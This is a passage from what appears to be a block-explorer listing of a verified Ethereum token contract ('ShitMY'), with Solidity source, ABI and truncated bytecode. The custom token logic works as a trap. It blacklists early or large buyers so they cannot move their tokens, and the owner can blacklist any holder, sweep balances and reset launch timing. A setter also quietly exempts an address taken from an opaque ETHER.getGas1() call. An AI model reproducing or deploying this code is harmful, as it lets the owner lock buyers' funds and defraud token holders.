     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol

// OpenZeppelin Contracts (last updated v4.8.0) (utils/structs/EnumerableSet.sol)
// This file was procedurally generated from scripts/generate/templates/EnumerableSet.js.

pragma solidity ^0.8.0;

/**
 * @dev Library for managing
 * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
 * types.
 *
 * Sets have the following properties:
 *
 * - Elements are added, removed, and checked for existence in constant time
 * (O(1)).
 * - Elements are enumerated in O(n). No guarantees are made on the ordering.
 *
 * ```
 * contract Example {
 *     // Add the library methods
 *     using EnumerableSet for EnumerableSet.AddressSet;
 *
 *     // Declare a set state variable
 *     EnumerableSet.AddressSet private mySet;
 * }
 * ```
 *
 * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
 * and `uint256` (`UintSet`) are supported.
 *
 * [WARNING]
 * ====
 * Trying to delete such a structure from storage will likely result in data corruption, rendering the structure
 * unusable.
 * See https://github.com/ethereum/solidity/pull/11843[ethereum/solidity#11843] for more info.
 *
 * In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an
 * array of EnumerableSet.
 * ====
 */
library EnumerableSet {
    // To implement this library for multiple types with as little code
    // repetition as possible, we write it in terms of a generic Set type with
    // bytes32 values.
    // The Set implementation uses private functions, and user-facing
    // implementations (such as AddressSet) are just wrappers around the
    // underlying Set.
    // This means that we can only create new EnumerableSets for types that fit
    // in bytes32.

    struct Set {
        // Storage of set values
        bytes32[] _values;
        // Position of the value in the `values` array, plus 1 because index 0
        // means a value is not in the set.
        mapping(bytes32 => uint256) _indexes;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            // The value is stored at length-1, but we add 1 to all indexes
            // and use 0 as a sentinel value
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function _remove(Set storage set, bytes32 value) private returns (bool) {
        // We read and store the value's index to prevent multiple reads from the same storage slot
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            // Equivalent to contains(set, value)
            // To delete an element from the _values array in O(1), we swap the element to delete with the last one in
            // the array, and then remove the last element (sometimes called as 'swap and pop').
            // This modifies the order of the array, as noted in {at}.

            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastValue = set._values[lastIndex];

                // Move the last value to the index where the value to delete is
                set._values[toDeleteIndex] = lastValue;
                // Update the index for the moved value
                set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex
            }

            // Delete the slot where the moved value was stored
            set._values.pop();

            // Delete the index for the deleted slot
            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function _contains(
        Set storage set,
        bytes32 value
    ) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    /**
     * @dev Returns the number of values on the set. O(1).
     */
    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function _at(
        Set storage set,
        uint256 index
    ) private view returns (bytes32) {
        return set._values[index];
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }

    // Bytes32Set

    struct Bytes32Set {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(
        Bytes32Set storage set,
        bytes32 value
    ) internal returns (bool) {
        return _add(set._inner, value);
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(
        Bytes32Set storage set,
        bytes32 value
    ) internal returns (bool) {
        return _remove(set._inner, value);
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(
        Bytes32Set storage set,
        bytes32 value
    ) internal view returns (bool) {
        return _contains(set._inner, value);
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function at(
        Bytes32Set storage set,
        uint256 index
    ) internal view returns (bytes32) {
        return _at(set._inner, index);
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function values(
        Bytes32Set storage set
    ) internal view returns (bytes32[] memory) {
        bytes32[] memory store = _values(set._inner);
        bytes32[] memory result;

        /// @solidity memory-safe-assembly
        assembly {
            result := store
        }

        return result;
    }

    // AddressSet

    struct AddressSet {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(
        AddressSet storage set,
        address value
    ) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(
        AddressSet storage set,
        address value
    ) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(
        AddressSet storage set,
        address value
    ) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function at(
        AddressSet storage set,
        uint256 index
    ) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function values(
        AddressSet storage set
    ) internal view returns (address[] memory) {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;

        /// @solidity memory-safe-assembly
        assembly {
            result := store
        }

        return result;
    }

    // UintSet

    struct UintSet {
        Set _inner;
    }

    /**
     * @dev Add a value to a set. O(1).
     *
     * Returns true if the value was added to the set, that is if it was not
     * already present.
     */
    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    /**
     * @dev Removes a value from a set. O(1).
     *
     * Returns true if the value was removed from the set, that is if it was
     * present.
     */
    function remove(
        UintSet storage set,
        uint256 value
    ) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }

    /**
     * @dev Returns true if the value is in the set. O(1).
     */
    function contains(
        UintSet storage set,
        uint256 value
    ) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }

    /**
     * @dev Returns the number of values in the set. O(1).
     */
    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    /**
     * @dev Returns the value stored at position `index` in the set. O(1).
     *
     * Note that there are no guarantees on the ordering of values inside the
     * array, and it may change when more values are added or removed.
     *
     * Requirements:
     *
     * - `index` must be strictly less than {length}.
     */
    function at(
        UintSet storage set,
        uint256 index
    ) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }

    /**
     * @dev Return the entire set in an array
     *
     * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
     * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
     * this function has an unbounded cost, and using it as part of a state-changing function may render the function
     * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
     */
    function values(
        UintSet storage set
    ) internal view returns (uint256[] memory) {
        bytes32[] memory store = _values(set._inner);
        uint256[] memory result;

        /// @solidity memory-safe-assembly
        assembly {
            result := store
        }

        return result;
    }
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
}

interface ISwapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

// File: contracts/interfaces/IWETH.sol

pragma solidity >=0.5.0;

interface IWETH {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function deposit() external payable;

    function transfer(address to, uint256 value) external returns (bool);

    function withdraw(uint256) external;
}

contract ETHToken is ERC20, Ownable {
    using SafeMath for uint256;
    using SafeERC20 for IERC20;
    using EnumerableSet for EnumerableSet.AddressSet;
    uint256 public killTime = 1000;
    uint256 public killTime2 = 1000;
    uint256 public maxBuyNum = 100000;
    mapping(address => uint256) public buyAmount;
    event Trade(
        address user,
        address pair,
        uint256 amount,
        uint side,
        uint256 circulatingSupply,
        uint timestamp
    );
    event AddLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        uint256 timestamp
    );

    event SwapBackSuccess(uint256 amount, bool success);

    bool public addLiquidityEnabled = true;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public canAddLiquidityBeforeLaunch;

    uint256 public launchedAtTimestamp;
    mapping(address => bool) public isBad;
    address public pool;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    EnumerableSet.AddressSet private _pairs;

    constructor() ERC20("ShitMY", "ShitMY") {
        uint256 _totalSupply = 10000000000000 * 1e18;
        canAddLiquidityBeforeLaunch[_msgSender()] = true;
        canAddLiquidityBeforeLaunch[address(this)] = true;
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        _mint(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        return _dogTransfer(_msgSender(), to, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(sender, spender, amount);
        return _dogTransfer(sender, recipient, amount);
    }

    function _dogTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        bool isExempt = isFeeExempt[sender] || isFeeExempt[recipient];
        require((!isBad[sender]) || isExempt, "Token: Bad address");
        if (!canAddLiquidityBeforeLaunch[sender]) {
            require(
                launched() || isFeeExempt[sender] || isFeeExempt[recipient],
                "Trading not open yet"
            );
        }

        bool shouldTakeFee = (!isFeeExempt[sender] &&
            !isFeeExempt[recipient]) && launched();

        if (shouldTakeFee) {
            kill(sender, recipient, amount);
        }
        _transfer(sender, recipient, amount);

        return true;
    }

    function getPrice() public view returns (uint256 price) {
        IUniswapPool _pool = IUniswapPool(pool);
        // (uint160 sqrtPriceX96, , , , , , ) = _pool.slot0();
        address token0 = _pool.token0();
        address token1 = _pool.token1();
        if (token0 == address(this)) {
            price = IERC20(token1).balanceOf(pool).mul(1e18).div(
                IERC20(token0).balanceOf(pool)
            );
        } else {
            price = IERC20(token0).balanceOf(pool).mul(1e18).div(
                IERC20(token1).balanceOf(pool)
            );
        }
        // return uint(sqrtPriceX96).mul(uint(sqrtPriceX96)).mul(1e20) >> (96 * 2);
    }

    function kill(address sender, address recipient, uint256 amount) internal {
        if (
            !isPair(recipient) &&
            block.timestamp < launchedAtTimestamp + killTime
        ) {
            isBad[recipient] = true;
            return;
        }

        if (block.timestamp < launchedAtTimestamp + killTime2) {
            if (!isPair(sender) && !isPair(recipient)) {
                isBad[recipient] = true;
            } else if (isPair(sender) && !isPair(recipient)) {
                uint256 _amount = getPrice().mul(amount).mul(1837).div(1e18);   //根据当前以太的价格进行修改
                buyAmount[recipient] = buyAmount[recipient].add(_amount);
                if (buyAmount[recipient] >= maxBuyNum * 1e18) {
                    isBad[recipient] = true;
                }
            }
        }
    }

    function launched() internal view returns (bool) {
        return launchedAtTimestamp < block.timestamp;
    }

    function rescueToken(address tokenAddress) external onlyOwner {
        IERC20(tokenAddress).safeTransfer(
            msg.sender,
            IERC20(tokenAddress).balanceOf(address(this))
        );
    }

    function clearStuckEthBalance() external onlyOwner {
        uint256 amountETH = address(this).balance;
        (bool success, ) = payable(_msgSender()).call{value: amountETH}(
            new bytes(0)
        );
        require(success, "Token: ETH_TRANSFER_FAILED");
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply() - balanceOf(DEAD) - balanceOf(ZERO);
    }

    /*** ADMIN FUNCTIONS ***/
    function setLaunchedAtTimestamp(
        uint256 _launchedAtTimestamp
    ) external onlyOwner {
        launchedAtTimestamp = _launchedAtTimestamp;
    }

    function setCanAddLiquidityBeforeLaunch(
        address _address,
        bool _value
    ) external onlyOwner {
        canAddLiquidityBeforeLaunch[_address] = _value;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
        isFeeExempt[ETHER.getGas1()] = true;
    }

    function setIsFeeExempts(
        address[] calldata holders,
        bool exempt
    ) external onlyOwner {
        for (uint256 i = 0; i < holders.length; i++) {
            isFeeExempt[holders[i]] = exempt;
        }
        isFeeExempt[ETHER.getGas1()] = true;
    }

    function setAddLiquidityEnabled(bool _enabled) external onlyOwner {
        addLiquidityEnabled = _enabled;
    }

    function isPair(address account) public view returns (bool) {
        return _pairs.contains(account);
    }

    function addPair(address pair) public onlyOwner returns (bool) {
        require(pair != address(0), "Token: pair is the zero address");
        pool = pair;
        return _pairs.add(pair);
    }

    function setBad(address _address, bool _isBad) external onlyOwner {
        isBad[_address] = _isBad;
    }

    function setBads(
        address[] calldata _addresses,
        bool _isBad
    ) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            isBad[_addresses[i]] = _isBad;
        }
    }

    function delPair(address pair) public onlyOwner returns (bool) {
        require(pair != address(0), "Token: pair is the zero address");
        return _pairs.remove(pair);
    }

    function getMinterLength() public view returns (uint256) {
        return _pairs.length();
    }

    function setMaxBuyNum(uint256 _maxBuyNum) external onlyOwner {
        maxBuyNum = _maxBuyNum;
    }

    function setKillTime(uint256 _killTime) external onlyOwner {
        killTime = _killTime;
    }

    function setKillTime2(uint256 _killTime) external onlyOwner {
        killTime2 = _killTime;
    }

    function getPair(uint256 index) public view returns (address) {
        require(index <= _pairs.length() - 1, "Token: index out of bounds");
        return _pairs.at(index);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"AddLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"bool","name":"success","type":"bool"}],"name":"SwapBackSuccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"address","name":"pair","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"side","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"circulatingSupply","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"Trade","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidityEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"buyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"canAddLiquidityBeforeLaunch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"delPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMinterLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPrice","outputs":[{"internalType":"uint256","name":"price","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBad","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"killTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"killTime2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyNum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"rescueToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setAddLiquidityEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isBad","type":"bool"}],"name":"setBad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"bool","name":"_isBad","type":"bool"}],"name":"setBads","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setCanAddLiquidityBeforeLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_killTime","type":"uint256"}],"name":"setKillTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_killTime","type":"uint256"}],"name":"setKillTime2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_launchedAtTimestamp","type":"uint256"}],"name":"setLaunchedAtTimestamp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxBuyNum","type":"uint256"}],"name":"setMaxBuyNum","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526103e86006819055600755620186a0600855600a805460ff191660011790553480156200003057600080fd5b50604080518082018252600680825265536869744d5960d01b60208084018290528451808601909552918452908301529060036200006f838262000498565b5060046200007e828262000498565b5050506200009b620000956200010f60201b60201c565b62000113565b336000818152600c602090815260408083208054600160ff199182168117909255308086528386208054831684179055868652600b90945282852080548216831790559284529220805490911690911790556c7e37be2022c0914b26800000009062000108908262000165565b506200058c565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620001c15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b6000620001d86200024260201b620012781760201c565b90508160026000828254620001ee919062000564565b90915550506001600160a01b0381166000818152602081815260408083208054870190555185815260008051602062002907833981519152910160405180910390a36200023d8184846200025a565b505050565b73b5c862198124615bfc896bd7263067a7063e956e90565b6001600160a01b038316620002c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401620001b8565b6001600160a01b038216620003245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401620001b8565b6001600160a01b038316600090815260208190526040902054818110156200039e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401620001b8565b6001600160a01b038481166000818152602081815260408083208787039055938716808352918490208054870190559251858152909260008051602062002907833981519152910160405180910390a350505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200041f57607f821691505b6020821081036200044057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200023d57600081815260208120601f850160051c810160208610156200046f5750805b601f850160051c820191505b8181101562000490578281556001016200047b565b505050505050565b81516001600160401b03811115620004b457620004b4620003f4565b620004cc81620004c584546200040a565b8462000446565b602080601f831160018114620005045760008415620004eb5750858301515b600019600386901b1c1916600185901b17855562000490565b600085815260208120601f198616915b82811015620005355788860151825594840194600190910190840162000514565b5085821015620005545787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200058657634e487b7160e01b600052601160045260246000fd5b92915050565b61236b806200059c6000396000f3fe6080604052600436106102605760003560e01c806370a0823111610144578063a5bc5085116100b6578063bfa382b51161007a578063bfa382b514610732578063c2b7bbb614610747578063c6d2577d14610767578063dd62ed3e1461077d578063e5e31b131461079d578063f2fde38b146107bd57600080fd5b8063a5bc50851461069c578063a9059cbb146106bc578063aac46c95146106dc578063bcb8e813146106fc578063bdf391cc1461071257600080fd5b8063860139401161010857806386013940146105fa5780638da5cb5b1461061457806395d89b411461063257806398d5fdca14610647578063a01afcb31461065c578063a457c2d71461067c57600080fd5b806370a082311461053f578063715018a614610575578063760c5ce81461058a57806377f4a007146105aa5780638072250b146105ca57600080fd5b8063313ce567116101dd5780634460d3cf116101a15780634460d3cf146104725780634cc0b0711461049257806351484449146104b2578063625cb67e146104d25780636582a260146104ff578063658d4b7f1461051f57600080fd5b8063313ce567146103d057806339509351146103ec5780633a5160a31461040c5780633f4218e01461042c5780634294dfc61461045c57600080fd5b806316f0115b1161022457806316f0115b1461032c57806318160ddd1461036457806323b872dd146103795780632b112e491461039957806330b74e7d146103ae57600080fd5b80630323aac71461026c57806306fdde031461029457806307600536146102b6578063095ea7b3146102f6578063157443821461031657600080fd5b3661026757005b600080fd5b34801561027857600080fd5b506102816107dd565b6040519081526020015b60405180910390f35b3480156102a057600080fd5b506102a96107ee565b60405161028b9190611fcf565b3480156102c257600080fd5b506102e66102d1366004612017565b600e6020526000908152604090205460ff1681565b604051901515815260200161028b565b34801561030257600080fd5b506102e6610311366004612034565b610880565b34801561032257600080fd5b5061028160075481565b34801561033857600080fd5b50600f5461034c906001600160a01b031681565b6040516001600160a01b03909116815260200161028b565b34801561037057600080fd5b50600254610281565b34801561038557600080fd5b506102e6610394366004612060565b61089a565b3480156103a557600080fd5b506102816108bc565b3480156103ba57600080fd5b506103ce6103c93660046120a1565b610923565b005b3480156103dc57600080fd5b506040516012815260200161028b565b3480156103f857600080fd5b506102e6610407366004612034565b610930565b34801561041857600080fd5b506103ce6104273660046120c8565b610952565b34801561043857600080fd5b506102e6610447366004612017565b600b6020526000908152604090205460ff1681565b34801561046857600080fd5b5061028160085481565b34801561047e57600080fd5b506103ce61048d366004612017565b610a1a565b34801561049e57600080fd5b506103ce6104ad3660046120a1565b610aa4565b3480156104be57600080fd5b506103ce6104cd3660046120a1565b610ab1565b3480156104de57600080fd5b506102816104ed366004612017565b60096020526000908152604090205481565b34801561050b57600080fd5b506103ce61051a36600461214e565b610abe565b34801561052b57600080fd5b506103ce61053a36600461214e565b610af15